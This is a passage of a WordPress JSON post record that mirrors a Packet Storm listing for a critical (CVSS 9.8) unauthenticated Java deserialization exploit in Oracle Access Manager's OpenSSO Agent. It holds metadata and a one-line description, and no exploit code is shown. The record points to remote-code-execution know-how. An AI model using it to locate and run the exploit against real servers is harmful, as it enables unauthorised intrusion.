Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/215250&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/215250\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-10T19:01:58&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for an unauthenticated Java deserialization vulnerability in the OpenSSO Agent component of Oracle Access Manager that allows remote attackers to execute&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-40108","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Oracle Access Manager 12.2.1.4.0 Insecure Deserialization_PACKETSTORM:215250 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=40108\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Oracle Access Manager 12.2.1.4.0 Insecure Deserialization_PACKETSTORM:215250 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-10T19:01:58&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for an unauthenticated Java deserialization vulnerability in the OpenSSO Agent component of Oracle Access Manager that allows remote attackers to execute...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=40108\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-10T13:49:50+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"14 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40108#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40108\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Oracle Access Manager 12.2.1.4.0 Insecure Deserialization_PACKETSTORM:215250\",\"datePublished\":\"2026-02-10T13:49:50+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40108\"},\"wordCount\":2820,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=40108#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40108\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40108\",\"name\":\"\ud83d\udcc4 Oracle Access Manager 12.2.1.4.0 Insecure Deserialization_PACKETSTORM:215250 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-10T13:49:50+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40108#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=40108\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40108#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Oracle Access Manager 12.2.1.4.0 Insecure Deserialization_PACKETSTORM:215250\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Oracle Access Manager 12.2.1.4.0 Insecure Deserialization_PACKETSTORM:215250 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=40108","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Oracle Access Manager 12.2.1.4.0 Insecure Deserialization_PACKETSTORM:215250 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-10T19:01:58&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for an unauthenticated Java deserialization vulnerability in the OpenSSO Agent component of Oracle Access Manager that allows remote attackers to execute...","og_url":"https:\/\/zero.redgem.net\/?p=40108","og_site_name":"zero redgem","article_published_time":"2026-02-10T13:49:50+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"14 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=40108#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=40108"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Oracle Access Manager 12.2.1.4.0 Insecure Deserialization_PACKETSTORM:215250","datePublished":"2026-02-10T13:49:50+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=40108"},"wordCount":2820,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=40108#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=40108","url":"https:\/\/zero.redgem.net\/?p=40108","name":"\ud83d\udcc4 Oracle Access Manager 12.2.1.4.0 Insecure Deserialization_PACKETSTORM:215250 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-10T13:49:50+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=40108#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=40108"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=40108#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Oracle Access Manager 12.2.1.4.0 Insecure Deserialization_PACKETSTORM:215250"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/40108","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=40108"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/40108\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=40108"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=40108"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=40108"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}